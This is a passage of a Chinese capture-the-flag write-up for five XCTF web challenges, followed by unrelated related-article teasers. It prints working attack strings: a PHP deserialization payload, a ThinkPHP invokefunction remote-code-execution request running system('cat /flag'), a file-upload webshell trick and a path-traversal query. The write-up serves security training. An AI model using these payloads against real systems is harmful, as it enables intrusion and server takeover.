XCTF-web(四)

unserialize3

在這里插入圖片描述

需要反序列化一下:O:4:“xctf”:2:{s:4:“flag”;s:3:“111”;}

在這里插入圖片描述

php_rce

在這里插入圖片描述

題目提示rce漏洞,測試一下:?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

在這里插入圖片描述

flag:?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag

在這里插入圖片描述

Web_php_include

在這里插入圖片描述

show_source(__FILE__);
show_source()是 PHP 的內置函數,其作用是讀取并高亮顯示指定文件的源代碼
__FILE__是 PHP 的魔術常量,代表當前正在執行的腳本文件的完整路徑和文件名。所以這行代碼的功能是顯示當前 PHP 文件的源代碼echo $_GET['hello'];
$_GET是 PHP 的一個超全局變量,用于獲取通過GET請求方法傳遞的參數
這行代碼會輸出GET請求中名為hello的參數的值$page=$_GET['page'];
此代碼將GET請求中名為page的參數的值賦給變量$pagewhile (strstr($page, "php://")) {$page=str_replace("php://", "", $page);
}
strstr()是 PHP 的內置函數,用于查找字符串在另一個字符串中首次出現的位置。若找到,則返回從該位置開始到字符串結尾的部分;若未找到,則返回false
str_replace()也是 PHP 的內置函數,用于將字符串中的指定子字符串替換為另一個字符串
這部分代碼運用while循環持續檢查$page變量中是否包含php://字符串,若包含則將其替換為空字符串,直至$page中不再包含php://include($page);
include()是 PHP 的內置函數,用于包含并執行指定的文件
這行代碼嘗試包含并執行$page變量所指定的文件

flag

在這里插入圖片描述

在這里插入圖片描述

upload1

在這里插入圖片描述

要jpg和png后綴

在這里插入圖片描述

上傳以后修改為php后綴

在這里插入圖片描述

用蟻劍連接找到flag

在這里插入圖片描述

warmup

在這里插入圖片描述

在這里插入圖片描述

查看一下/source.php

在這里插入圖片描述

看一下/hint.php

在這里插入圖片描述

/?file=hint.php?/…/…/…/…/ffffllllaaaagggg

在這里插入圖片描述

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/901653.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/901653.shtml
英文地址,請注明出處:http://en.pswp.cn/news/901653.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Java Stream深度解析 高階技巧與性能優化實戰

文章目錄 一、Stream底層機制揭秘1.1 Stream流水線架構1.2 Spliterator探秘 二、自定義收集器高級實現2.1 實現高性能統計收集器2.2 多級分組優化技巧 三、并行流深度優化3.1 并行度控制策略3.2 工作竊取(Work-Stealing)優化 四、無限流與短路操作4.1 生成無限質數流4.2 短路操…

TailwindCss快速上手

什么是Tailwind Css? 一個實用優先的 CSS 框架,可以直接在標記中組合以構建任何設計。 開始使用Tailwind Css 如何安裝 下面是使用vite構建工具的方法 ①安裝 Tailwind CSS: tailwindcss通過tailwindcss/vitenpm安裝。 npm install tailwindcss tailwindcss…

Web前端 (CSS篇)

什么是CSS? css(Cascading Style Sheets)是層疊樣式表或級聯樣式表,是一組設置規則,用于控制web頁面外觀。 為什么使用CSS? CSS 用于定義網頁的樣式,包括針對不同設備和屏幕尺寸的設計和布局。 CSS 實例 body {background-col…

微服務2--服務治理與服務調用

前言 :本文主要闡述微服務架構中的服務治理,以及Nacos環境搭建、服務注冊、服務調用,負載均衡以及Feign實現服務調用。 服務治理 服務治理是微服務架構中最核心最基本的模塊。用于實現各個微服務的自動化注冊與發現。 服務注冊:在…

智能麻將出牌組件

開篇引言? 麻將作為一款風靡全球的策略性游戲,其復雜的規則和多變的牌局給玩家帶來了無盡樂趣。在數字化時代,運用編程技術為麻將游戲賦予智能,實現自動出牌功能,不僅能提升玩家體驗,還能深入探索算法在博弈游戲中的…

“大灣區珠寶藝境花園”璀璨綻放第五屆消博會

2025年4月13日,第五屆中國國際消費品博覽會(以下簡稱"消博會")重要主題活動——《大灣區珠寶藝境花園》啟動儀式在海南國際會展中心2號館隆重舉行。由廣東省金銀珠寶玉器業廠商會組織帶領粵港澳大灣區優秀珠寶品牌,以“…

基于前端技術的QR碼API開發實戰:從原理到部署

前言 QR碼(Quick Response Code)是一種二維碼,于1994年開發。它能快速存儲和識別數據,包含黑白方塊圖案,常用于掃描獲取信息。QR碼具有高容錯性和快速讀取的優點,廣泛應用于廣告、支付、物流等領域。通過掃…

利用耦合有限元和神經網絡計算的骨重塑模擬多尺度方法

Multiscale methodology for bone remodelling simulation using coupled finite element and neural network computation 摘要:本文旨在開發一種基于有限元分析(FEA)和神經網絡(NN)計算的多尺度分層混合模型&#xf…

使用異步特征引發的錯誤error[E0195]: lifetime parameters or bounds on method `before_save`

問題描述&#xff1a; 使用SeaOrm保存實體到數據庫時不想每次都設置更新時間&#xff0c;所以想通過實現ActiveModelBehavior在保存實體前統一設置更新時間 impl ActiveModelBehavior for ActiveModel {async fn before_save<C>(self, _db: &C, _insert: bool) -&…

TVS管與ESD保護二極管詳解:原理、區別與應用選型

一、TVS管&#xff08;瞬態電壓抑制二極管&#xff09; 1. 基本定義 TVS管&#xff08;Transient Voltage Suppressor&#xff09; 是一種用于抑制瞬態高壓脈沖的半導體器件&#xff0c;通過雪崩擊穿效應快速鉗位電壓&#xff0c;保護后端電路。 2. 核心特性參數 參數定義公…

Day08 【基于jieba分詞實現詞嵌入的文本多分類】

基于jieba分詞的文本多分類 目標數據準備參數配置數據處理模型構建主程序測試與評估測試結果 目標 本文基于給定的詞表&#xff0c;將輸入的文本基于jieba分詞分割為若干個詞&#xff0c;然后將詞基于詞表進行初步編碼&#xff0c;之后經過網絡層&#xff0c;輸出在已知類別標…

入門-C編程基礎部分:6、常量

飛書文檔https://x509p6c8to.feishu.cn/wiki/MnkLwEozRidtw6kyeW9cwClbnAg C 常量 常量是固定值&#xff0c;在程序執行期間不會改變&#xff0c;可以讓我們編程更加規范。 常量可以是任何的基本數據類型&#xff0c;比如整數常量、浮點常量、字符常量&#xff0c;或字符串字…

第二階段:數據結構與函數

模塊4&#xff1a;常用數據結構 (Organizing Lots of Data) 在前面的模塊中&#xff0c;我們學習了如何使用變量來存儲單個數據&#xff0c;比如一個數字、一個名字或一個布爾值。但很多時候&#xff0c;我們需要處理一組相關的數據&#xff0c;比如班級里所有學生的名字、一本…

【C++算法】61.字符串_最長公共前綴

文章目錄 題目鏈接&#xff1a;題目描述&#xff1a;解法C 算法代碼&#xff1a;解釋 題目鏈接&#xff1a; 14. 最長公共前綴 題目描述&#xff1a; 解法 解法一&#xff1a;兩兩比較 先算前兩個字符串的最長公共前綴&#xff0c;然后拿這個最長公共前綴和后面一個來比較&…

JVM 調優不再難:AI 工具自動生成內存優化方案

在 Java 應用程序的開發與運行過程中&#xff0c;Java 虛擬機&#xff08;JVM&#xff09;的性能調優一直是一項極具挑戰性的任務&#xff0c;尤其是內存優化方面。不合適的 JVM 內存配置可能會導致應用程序出現性能瓶頸&#xff0c;甚至頻繁拋出內存溢出異常&#xff0c;影響業…

紛析云開源財務軟件:企業財務數字化轉型的靈活解決方案

紛析云是一家專注于開源財務軟件研發的公司&#xff0c;自2018年成立以來&#xff0c;始終以“開源開放”為核心理念&#xff0c;致力于通過技術創新助力企業實現財務管理的數字化與智能化轉型。其開源財務軟件憑借高擴展性、靈活部署和全面的功能模塊&#xff0c;成為眾多企業…

【數字圖像處理】數字圖像空間域增強(3)

圖像銳化 圖像細節增強 圖像輪廓&#xff1a;灰度值陡然變化的部分 空間變化&#xff1a;計算灰度變化程度 圖像微分法&#xff1a;微分計算灰度梯度突變的速率 一階微分&#xff1a;單向差值 二階微分&#xff1a;雙向插值 一階微分濾波 1&#xff1a;梯度法 梯度&#xff1…

基于Linux的ffmpeg python的關鍵幀抽取

1.FFmpeg的環境配置 首先強調&#xff0c;ffmpeg-python包與ffmpeg包不一樣。 1) 創建一個虛擬環境env conda create -n yourenv python3.x conda activate yourenv2) ffmpeg-python包的安裝 pip install ffmpeg-python3) 安裝系統級別的 FFmpeg 工具 雖然安裝了 ffmpeg-p…

C#進階學習(四)單向鏈表和雙向鏈表,循環鏈表(上)單向鏈表

目錄 前置知識&#xff1a; 一、鏈表中的結點類LinkedNode 1、申明字段節點類&#xff1a; 2、申明屬性節點類: 二、兩種方式實現單向鏈表 ①定框架&#xff1a; ②增加元素的方法&#xff1a;因為是單鏈表&#xff0c;所以增加元素一定是只能在末尾添加元素&#xff0c;…

RK3588 Buildroot 串口測試工具

RK3588 Buildroot串口測試工具(含代碼) 一、引言 1.1 目的 本文檔旨在指導開發人員能快速測試串口功能 1.2 適用范圍 本文檔適用于linux 系統串口測試。 二、開發環境準備 2.1 硬件環境 開發板:RK3588開發板,確保其串口硬件連接正常,具備電源供應、調試串口等基本硬…